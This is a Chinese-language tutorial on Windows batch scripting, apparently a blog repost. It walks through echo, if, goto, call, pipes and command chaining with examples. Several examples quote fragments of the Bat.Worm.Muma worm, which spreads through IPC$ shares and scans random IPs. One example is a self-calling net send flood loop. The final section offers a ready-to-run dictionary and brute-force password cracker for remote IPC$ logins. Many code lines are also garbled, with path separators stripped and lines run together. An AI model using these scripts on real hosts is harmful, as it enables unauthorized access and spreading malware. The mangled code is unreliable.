Windows批處理腳本小記

批處理,也稱爲批處理腳本,英文譯爲BATCH,批處理文件後綴BAT就取的前三個字母。它的構成沒有固定格式,只要遵守以下這條就ok了:每一行可視爲一個命令,每個命令裏可以含多條子命令,從第一行開始執行,直到最後一行結束,它運行的平臺是DOS。批處理有一個很鮮明的特點:使用方便、靈活,功能強大,自動化程度高。never claver and get to business(閒話少說言歸正傳),上例題:

例一、先給出一個最easy的批處理腳本讓大家和它混個臉熟,將下面的幾行命令保存爲name.bat然後執行(以後文中只給出代碼,保存和執行方式類似):
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit
執行這個批處理後,可以在你的當前盤建立一個名爲a.txt的文件,它裏面記錄的信息可以幫助你迅速找到速度最快的QQ服務器,從而遠離“從服務器中轉”那一痛苦的過程。這裏>的意思,是把前面命令得到的東西放到後面所給的地方,>>的作用,和>的相同,區別是把結果追加到前一行得出的結果的後面,具體的說是下一行,而前面一行命令得出的結果將保留,這樣可以使這個a.txt文件越來越大。By the way,這個批處理還可以和其他命令結合,搞成完全自動化判斷服務器速度的東東,執行後直接顯示速度最快的服務器IP。

例二、再給出一個已經過時的例子(a.bat):
@echo off
if exist C:Progra~1TencentAD*.gif del C:Progra~1TencentAD*.gif
a.bat
爲什麼說這是個過時的例子呢?很簡單,因爲現在已經幾乎沒有人用帶廣告的QQ了,所以它幾乎用不上了。但曾經它的作用是不可小窺的:刪除QQ的廣告,讓對話框乾乾淨淨。這裏用的地址是QQ的默認安裝地址,默認批處理文件名爲a.bat,你當然可以根據情況自行修改。在這個腳本中使用了if命令,使得它可以達到適時判斷和刪除廣告圖片的效果,你只需要不關閉命令執行後的DOS窗口,不按CTRL+C強行終止命令,它就一直監視是否有廣告圖片(QQ也再不斷查看自己的廣告是否被刪除)。當然這個腳本佔用你一點點內存。

例三,使用批處理腳本查是否中冰河。腳本內容如下:
@echo off
netstat -a -n > a.txt
type a.txt | find “7626” && echo “Congratulations! You have infected GLACIER!”
del a.txt
pause & exit
這裏利用了netstat命令,檢查所有的網絡端口狀態,只需要你清楚常見木馬所使用的端口,就能很easy的判斷出來是否被人種了冰河。然這不是確定的,因爲冰河默認的端口7626,完全可以被人修改。這裏介紹的只是方法和思路。這裏介紹的是方法和思路稍做改動,就變成可以檢查其他木馬的腳本了,再改動一下,加進去參數和端口及信息列表文件後,就變成自動檢測所有木馬的腳本了。腳本中還利用了組合命令&&和管道命令|,後面將詳細介紹。

例四,借批處理自動清除系統垃圾,腳本如下:
@echo off
if exist c:windows emp*.* del c:windows emp*.*
if exist c:windowsTempor~1*.* del c:windowsTempor~1*.*
if exist c:windowsHistory*.* del c:windowsHistory*.*
if exist c:windows ecent*.* del c:windows ecent*.*
將以上腳本內容保存到autoexec.bat裏,每次開機時就把系統垃圾給自動刪除了。這裏需要注意兩點:
一、DOS不支持長文件名,所以就出現了Tempor~1這個東東;
二、可根據自己的實際情況進行改動,使其符合自己的要求。

例五、
@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if “%1”==”” goto usage
::if input without paramater goto usage
if “%1”==”/?” goto usage
::if paramater is “/?” goto usage
if “%1”==”help” goto usage
::if paramater is “help” goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage

已經給出了每一行命令的解釋,兩個冒號後面的內容爲前一行內容解釋的,在腳本執行時不顯示,也不起任何作用。倒數第5行行首有一個冒號,可不是筆誤哦!具體作用後面會詳細講到。此腳本中masm和link是彙編程序和連接程序,必須和edit程序以及你要編輯的源代碼一起在當前目錄中。使用這個批處理腳本,可以最大可能的減少手工輸入,整個過程中只需要按幾下回車鍵,即可實現從彙編源代碼到可執行exe文件的自動化轉換,並具備智能判斷功能:如果彙編時源代碼出現錯誤(彙編不成功),則自動暫停顯示錯誤信息,並在按任意鍵後自動進入編輯源代碼界面;如果源代碼彙編成功,則進行連接,並在連接後自動執行生成的exe文件。另外,由於批處理命令的簡單性和靈活性,這個腳本還具備良好的可改進性,簡單進行修改就可以符合不同朋友的上機習慣。
在這個腳本中出現瞭如下幾個命令:@、echo、::、pause、:和goto、%以及if。而這一章就將講述這幾個命令。

1、@
它的作用是讓執行窗口中不顯示它後面這一行的命令本身。通俗一點說,行首有了它的話,這一行的命令就不顯示了。在例五中,首行的@echo off中,@的作用就是讓腳本在執行時不顯示後面的echo off部分。

2、echo
中文爲“反饋”、“回顯”的意思。它其實是一個開關命令,就是說它只有兩種狀態:打開和關閉。於是就有了echo on和echo off兩個命令了。直接執行echo命令將顯示當前echo命令狀態(off或on)執行echo off將關閉回顯,它後面的所有命令都不顯示命令本身,只顯示執行後的結果,除非執行echo on命令。在例五中,首行的@命令和echo off命令聯合起來,達到了兩個目的:不顯示echo off命令本身,不顯示以後各行中的命令本身。echo命令的另一種用法一:可以用它來顯示信息!如例五中倒數第二行,Default BAT file name is START.BAT將在腳本執行後的窗口中顯示,而echo命令本身不顯示。echo命令的另一種用法二:可以直接編輯文本文件。
例六:
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
以上腳本內容的編輯方法是,直接是命令行輸入,每行一回車。最後就會在當前目錄下生成一個a.bat的文件,直接執行就會得到結果。

3、::
這個命令的作用很簡單,它是註釋命令,在批處理腳本中和rem命令等效。它後面的內容在執行時不顯示,也不起任何作用,因爲它只是註釋,只是增加了腳本的可讀性,和C語言中的/…………/類似。

4、pause
中文爲“暫停”的意思,我一直認爲它是批處理中最簡單的一個命令,單純、實用。它的作用,是讓當前程序進程暫停一下,並顯示一行信息:請按任意鍵繼續…。在例五中這個命令運用了兩次,第一次的作用是讓使用者看清楚程序信息,第二個是顯示錯誤的彙編代碼信息(其實不是它想顯示,而是masm程序在顯示錯誤信息時被暫它停了,以便讓你看清楚你的源代碼錯在哪裏)。

5、:和goto
爲什麼要把這兩個命令聯合起來介紹?因爲它們是分不開的,無論少了哪個或多了哪個都會出錯。goto是個跳轉命令,:是一個標籤。當程序運行到goto時,將自動跳轉到:定義的部分去執行了。例五中倒數第5行行首出現一個:,則程序在運行到goto時就自動跳轉到:標籤定義的部分執行,結果是顯示腳本usage(usage就是標籤名稱)。不難看出,goto命令就是根據這個冒號和標籤名稱來尋找它該跳轉的地方,它們是一一對應的關係。goto命令也經常和if命令結合使用。至於這兩個命令具體用法,參照例五。
goto命令的另一種用法一:提前結束程序。在程序中間使用goto命令跳轉到某一標籤,而這一標籤的內容卻定義爲退出。如:
……
goto end
……
:end
這裏:end在腳本最後一行!其實這個例子很弱智,後面講了if命令和組合命令你就知道了。

6、%
這個百分號嚴格來說是算不上命令的,它只是批處理中的參數而已(多個%一起使用的情況除外,以後還將詳細介紹),但千萬別以爲它只是參數就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了。
看看例七:
net use \%1ipccopy11.BAT%1admin system32 /y
copy 13.BAT \%1adminsystem32/ycopyipc2.BAT%1admin system32 /y
copy NWZI.EXE \%1adminsystem32/yattrib%1admin system3210.bat -r -h -s
以上代碼是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執行形式爲:腳本文件名 參數一 參數二 ……。假設這個腳本被保存爲a.bat,則執行形式如下:a IP username password。這裏IP、username、password是三個參數,缺一不可(因爲程序不能正確運行,並不是因爲少了參數語法就不對)這樣在腳本執行過程中,腳本就自動用用你的三個參數依次(也是一一對應的關係。)代換1%、2%和3%,這樣就達到了靈活運用的目的(試想,如果在腳本中直接把IP、username和password都定義死,那麼腳本的作用也就被固定了,但如果使用%的話,不同的參數可以達到不同的目的)。

(2)
7、if
接上一章,接着講if命令。總的來說,if命令是一個表示判斷的命令,根據得出的每一個結果,它都可以對應一個相應的操作。關於它的三種用法,在這裏分開講。
(1)、輸入判斷。還是用例五里面的那幾句吧:
if “%1”==”” goto usage
if “%1”==”/?” goto usage
if “%1”==”help” goto usage
這裏判斷輸入的參數情況,如果參數爲空(無參數),則跳轉到usage;如果參數爲/?或help時(大家一般看一個命令的幫助,是不是輸入的/?或help呢,這裏這麼做只是爲了讓這個腳本看起來更像一個真正的程序),也跳轉到usage。這裏還可以用否定形式來表示“不等於”,例如:if not “%1”==”” goto usage,則表示如果輸入參數不爲空就跳轉到usage,其實翻譯成中文體會一下就understand了。

(2)、存在判斷。再看例二里這句:
if exist C:Progra~1TencentAD*.gif del C:Progra~1TencentAD*.gif
如果存在那些gif文件,就刪除這些文件。當然還有例四,都是一樣的道理。注意,這裏的條件判斷是判斷存在的,當然也可以判斷不存在的,例如下面這句“如果不存在那些gif文件則退出腳本”:if not exist C:Progra~1TencentAD*.gif exit。只是多一個not來表示否定而已。

(3)、結果判斷。還是例五:
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
先對源代碼進行彙編,如果失敗則暫停顯示錯誤信息,並在按任意鍵後自動進入編輯界面;否則用link程序連接生成的obj文件。這裏只介紹一下和if命令有關的地方,&命令後面會講到。這種用法是先判斷前一個命令執行後的返回碼(也叫錯誤碼,DOS程序在運行完後都有返回碼),如果和定義的錯誤碼符合(這裏定義的錯誤碼爲1),則執行相應的操作(這裏相應的操作爲pause & edit %1.asm部分)。
另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達上面三句的意思,代碼
變爲:
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm
其實只是把結果判斷後所執行的命令互換了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令執行成功(因爲它是錯誤判斷,而且返回碼爲0,0就表示否定,就是說這個錯誤不存在,就是說masm執行成功)。這裏是否加not,錯誤碼到底用0還是1,是值得考慮的兩個問題,一旦搭配不成功腳本就肯定出錯,所以一定要體會的很深刻才行。如何體會的深刻?練習!自己寫一個腳本,然後把有not和沒有not的情況,返回碼爲0或1的情況分別寫進去執行,這樣從執行的結果中就能很清楚的看出這兩種情況的區別。 這種用errorlevel結果判斷的用法是if命令最難的用法,但也恰恰是最有用的用法,如果你不會用
errorlevel來判斷返回碼,則要達到相同的效果,必須用else來表示“否則”的操作,是比較麻煩的
。以上代碼必須變成:
masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm
關於if命令的這三種用法就say到這裏,理解很簡單,但應用時就不一定用的那麼得心應手,主要是熟練程度的問題。想更深理解輸入“if /?”就能看到。一定要注意的是,這三種用法的格式各不相同,而且也是不能改變的,但實際上可以互換。
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command

8、call
學過彙編或C的朋友,肯定都知道call指令表示什麼意思了,在這裏它的意思其實也是一樣的。在批處理腳本中,call命令用來從一個批處理腳本中調用另一個批處理腳本。看例八(默認的三個腳本文件名分別爲start.bat、10.bat和ipc.bat):
start.bat:
……
CALL 10.BAT 0
……

10.bat:
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt

ipc.bat:
for /f “tokens=1,2,3 delims= ” %%i in (%1) do call HACK.bat %%i %%j %%k
從上面兩個腳本,你可以得到如下信息:1、腳本調用可以靈活運用,循環運用、重複運用。
2、腳本調用可以使用參數!關於第一點就不多說了,聰明的你一看就應該會,這裏說一下第二點。 在start.bat中,10.bat後面跟了參數0,在執行時的效果,其實就是把10.bat裏的參數%1用0代替。在start.bat中,ipc.bat後面跟了參數ipcfind.txt(一個文件,也可以做參數),執行時的效果,就是用ipc.bat中的每一行的三個變量(這裏不懂沒關係,學過for命令後就懂了),對應代換ipc.bat中的%%i、%%j和%%k。這裏參數調用是非常靈活的,使用時需要好好體會。在初學期間,可以先學習只調用腳本,至於連腳本的參數一起使用的情況,在後面的學習中自然就會有比較深刻的理解,這是因爲當你已經可以靈活運用批處理腳本後,如何使代碼寫的更精簡更完美更高效就自然包括到了考慮的範圍,這時候你就會發現在調用腳本時直接加入參數,可以使代碼效率加倍。By the way,上面的這幾個腳本,都是Bat.Worm.Muma病毒的一部分,在後面的教程裏,大家將有機會見到這個病毒的真面目。 那是不是說,在同一個目錄下至少存在兩個批處理腳本文件?注意了,這句話錯了!!只有一個照樣可以調用—-調用自身!
看例九(默認腳本文件名a.bat):
net send %1 This is a call example.
call a.bat
這兩句一結合,效果自然不怎麼樣,因爲只有一臺機器來發消息,誰怕誰啊?我給你來個禮尚往來!可如果有100臺機器同時執行,而且每臺機器開10和窗口同時向一個目標機器發消息的話,呵呵。這裏call a.bat的作用就是調用自身,執行完前一句net send命令後再調用自身,達到了循環執行的目的。
給出一個很有意思的腳本,有興趣的朋友可以實驗一下。
例十(默認腳本文件名爲a.bat):
call a.bat
一定要在DOS窗口下執行,否則只會看到一個窗口一閃而過,看不到最後結果。等執行完後,當腳本被執行了1260次,別忘了想一下到底是爲什麼!

9、find
這是一個搜索命令,用來在文件中搜索特定字符串,通常也作爲條件判斷的鋪墊程序。這個命令單獨使用的情況在批處理中是比較少見的,因爲沒什麼實際意義。還是借例三來說明:
@echo off
netstat -a -n > a.txt
type a.txt | find “7626” && echo “Congratulations! You have infected GLACIER!”
del a.txt
pause & exit
先用netstat命令檢查是否有冰河默認的端口7626在活動,並把結果保存到a.txt中。然後使用type命令列出a.txt中的內容,再在列出的內容中搜索字符串“7626” ,發現有的話則提示中了冰河,否則退出。看,find命令其實就這麼簡單,但有一點必須要注意到:如果不使用type命令列出a.txt中的內容,而是直接使用find命令在a.txt中找“7626”(find a.txt “7626” && echo “Congratulations! You have infected GLACIER!”),就必須得給出這個a.txt的絕對路徑(測試時find並沒有默認路徑就是當前路徑的功能,必須手動指定;或許測試有誤,歡迎指正)。因爲在
find命令的幫助裏有這麼一句話:如果沒有指定路徑,find將搜索鍵入的或者由另一個命令產生的文字。這裏的“另一個命令”自然就指的type命令了。 至於find命令的其他幾個參數如v、n、i等,有興趣的朋友自己去研究吧,這已經屬於DOS學習的內容了,這裏就不做介紹。關於find命令和其他命令的一些更精妙的用法,後續的教程中將介紹。

10、for、set、shift
爲什麼把這三個命令放到一起來講?因爲其實我也不太懂!
看例十一:
@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit
執行後在當前路徑下就生成for.txt、set.txt和shift.txt三個文件,裏面分別記錄了for命令、set命令和shift命令的幫助信息。
看看例十二:

START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find “:” >A.TMP
FOR /F “tokens=7,8,9,10,12 delims=.: ” %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%

%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF “%NUM1%”==”255” GOTO NEARAGAIN
IF “%NUM1%”==”192” GOTO NEARAGAIN
IF “%NUM1%”==”127” GOTO NEARAGAIN
IF “%NUM2%”==”255” GOTO NEARAGAIN
IF “%NUM3%”==”255” GOTO NEARAGAIN
IF “%NUM4%”==”255” GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I “from” B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START

這是Bat.Worm.Muma病毒的起始腳本,設置了病毒運行的環境變量。不得不再次重申一遍,各種DOS命令是批處理的BODY,學好DOS命令是學好批處理的前提。其他DOS命令copy、dir、del、type、path、break、start等內部命令,以及ping、net、cmd、at、sort、attrib、fcfind等外部命令,在批處理裏的應用非常廣泛。這篇教程的作用,是教你認識批處理,以及如何利用DOS命令組合出來一個完美的批處理腳本,去讓它自動完成你想要它做的事情。而靈活自如的編輯一個批處理腳本是建立在熟練掌握DOS命令的基礎上的,這已經超出了本文的範疇,在此就不贅述了。

(3)
下面從管道命令講起。常用的管道命令有以下這些:|、>、>>
11、|
看例十三:
help | more
回車後會發現顯示滿一屏幕後就自動暫停,等候繼續顯示其他信息。當按寫回車時,變成一個一個的出現;按下空格鍵時一屏幕一屏幕顯示,直到全部顯示完爲止;按其他鍵自動停止返回DOS。這裏結合了管道命令|和DOS命令more來共同達到目的的。這裏先簡單介紹一下help命令和more命令,對理解|命令的用法有很大幫助。

11.1、help命令。
其實這個命令是不需要多說的,但在上述例子中help命令的用法比較特殊,直接在DOS提示符下輸入help命令,結果是讓DOS顯示其所支持的所有非隱含命令,而在其他地方用help命令,如輸入net help回車,則是顯示net命令的幫助信息。

11.2、more命令。
可能很多朋友以前就沒有接觸過這個命令,這個命令在Linux下的用處非常廣泛,也是管道命令之一。大家可以找一篇比較長的文章(a.txt)在DOS提示符下輸入如下兩個命令去比較一下差別:more a.txt和type a.txt。利用more命令,可以達到逐屏或逐行顯示輸出的效果,而type命令只能一次把輸出顯示完,最後的結果就是隻能看到末尾的部分。在例十三裏,more命令的作用就是讓輸出的信息逐屏或逐行顯示。 |命令的的作用,就是把前一命令的輸出當後一命令的輸入來用的。在例十三裏,前一命令的輸出,就是help命令執行後顯示的DOS所支持的所有非隱含命令,而這個結果剛好做了後一命令more的輸入。所以例十三和下面的例十四是等效的:
help > a.txt
more a.txt
del a.txt
這裏利用另一管道命令>生成了一個a.txt文件作爲中間環節,在用more命令查看a.txt文件後再刪除a.txt文件(例十三的所有操作是在內存中進行的,不生成文件)。可以看出,正確使用管道命令|可以帶來事半功倍的效果。結合例十三和例十四,以及前面的例九再體會一遍:|命令的作用,就是讓前一命令的輸出當做後一命令的輸入。

12、>、>>
這兩個命令的效果從本質上來說都是一樣的,他們都是輸出重定向命令,說的通俗一點,就是把前面命令的輸出寫入到一個文件中。這兩個命令的唯一區別是,>會清除掉原有文件中的內容後把新的內容寫入原文件,而>>只會另起一行追加新的內容到原文件中,而不會改動其中的原有內容。
例十五:

echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat

依次在DOS提示符下輸入以上各行命令,一行一個回車,將在當前目錄下生成一個a.bat文件,裏面的內容如下:
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit
1、可以直接在DOS提示符下利用echo命令的寫入功能編輯一個文本,而不需要專門的文本編輯工具;
2、管道命令>和>>的區別如上所述。如果這裏只用>命令來完成上面操作,最後也會生成一個a.bat,但裏面的內容就只剩下最後一行exit了。所以>和>>一般都聯合起來用,除非你重定向的輸出只有一行,那麼就可以只用>了。結合例一再仔細體會輸出重定向管道命令>和>>的用法。

13、<、>&、<&
這三個命令也是管道命令,但它們一般不常用。
<,輸入重定向命令,從文件中讀入命令輸入,而不是從鍵盤中讀入。

&,將一個句柄的輸出寫入到另一個句柄的輸入中。
<&,剛好和>&相反,從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。
關於這三個管道命令的舉例,在後面批處理腳本的精妙應用中還將涉及到。

下面介紹組合命令:&、&&、||
組合命令,顧名思義,就是可以把多個命令組合起來當一個命令來執行。這在批處理腳本里是允許的,而且用的非常廣泛。它的格式很簡單—-既然現在已經成了一個文件了,那麼這多個命令就要用這些組合命令連接起來放在同一行—-因爲批處理認行不認命令數目。

14、&
這可以說是最簡單的一個組合命令了,它的作用是用來連接n個DOS命令,並把這些命令按順序執行,而不管是否有命令執行失敗。

例十六:
copy a.txt b.txt /y & del a.txt
其實這句和move a.txt b.txt的效果是一樣的,只不過前者是分了兩步來進行的。唯一需要注意的一點是,這裏&兩邊的命令是有執行順序的,從前往後執行。

15、&&
這裏介紹的幾個命令都是組合命令,所以他們前後都必須都有其他命令。這個命令也不例外,它可以把它前後兩個命令組合起來當一個命令來用,與&命令不同之處在於,它在從前往後依次執行被它連接的幾個命令時會自動判斷是否有某個命令執行出錯,一旦發現出錯後將不繼續執行後面剩下的命令。這就爲我們自動化完成一些任務提供了方便。

例十七:
dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:backupwww
如果遠程主機存在user.mdb,則copy到本地e:backupwww,如果不存在當然就不執行copy了。這句對搞網管的朋友是否有點用呢?其實它和下面這句的作用是一樣的:
if exist 文件/1%/www/user.mdb copy 文件://1%/www/user.mdb e:backupwww
有些命令是不能同時執行的,出道題:把C盤和D盤的文件和文件夾列出到a.txt文件中。

看例十八:
dir c: && dir d: > a.txt
這樣執行後a.txt裏只有D盤的信息!因爲這裏&&命令和>命令不能同時出現一個句子裏!!組合命令&&的優先級沒有管道命令>的優先級高!所以這句在執行時將本分成這兩部分:dir c:和dir d: > a.txt,而並不是如你想的這兩部分:dir c: && dir d:和> a.txt。要使用組合命令&&達到題目的要求,必須得這麼寫:
dir c: > a.txt && dir d: >> a.txt
依據優先級高低,DOS將把這句話分成以下兩部分:dir c: > a.txt和dir d: >> a.txt。當然這裏還可以利用&命令:
dir c: > a.txt & dir d: >> a.txt

16、||
這個命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執行多條命令時,當遇到一個執行正確的命令就退出此命令組合,不再繼續執行下面的命令。
題目:查看當前目錄下是否有以s開頭的exe文件,如果有則退出。

例十九:
@echo off
dir s*.exe || exit
這條命令有破綻,如果存在那個exe文件,就退出;如果不存在那個exe文件,也退出!

看例二十:
@echo off
dir s*.exe || echo Didn’t exist file s*.exe & pause & exit
這樣執行的結果,就能達到題目的要求,是否存在s*.exe將出現兩種結果。這裏加暫停的意思,當然是讓你能看到echo輸出的內容,否則一閃而過的窗口,echo就白寫了。給出兩個更好研究優先級的腳本,仔細研究它們的區別,以便徹底理解各種命令的優先級順序,對以後自己利用這些命令寫腳本有很大的好處。
請看例二十一和例二十二:

例二十一:
@echo off
dir a.ttt /a & dir a.txt || exit

例二十二:
@echo off
dir a.ttt /a && dir a.txt || exit

(4)

將下列代碼存爲bat文件
1、用字典破解:pass.bat 字典文件路徑及名稱 主機 用戶名
2、用數字破解:pass.bat 起始數 步長 結束數 主機 用戶名
密碼破解出來之後,存放於c:pass.txt文件裏面。
將下列代碼存爲pass.bat文件
@echo off
echo ——————————————————————- >>c:pass.txt
echo ——————————————————————- >>c:pass.txt
date /t >>c:pass.txt
time /t >>c:pass.txt
echo 破解結果: >>c:pass.txt
if “%6”==”1” goto 大棒槌是我的說2
:大棒槌是我的說1
start “正在破解” /min cmd /c for /f %%i in (%1) do call test.bat %2 “%%i” %3
goto quit
:大棒槌是我的說2
start “正在破解” /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 “%%i” %5
:quit

將下列代碼存爲test.bat
net use \%1ipcgotoanswerrem:answer0echoechoechonetuse%1ipc /delet
exit
:answer2

在此聲明這篇文章是從一位愛說話的同學處修改而來。他的博客鏈接爲:
http://www.cnblogs.com/xinbin/archive/2006/08/15/477310.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章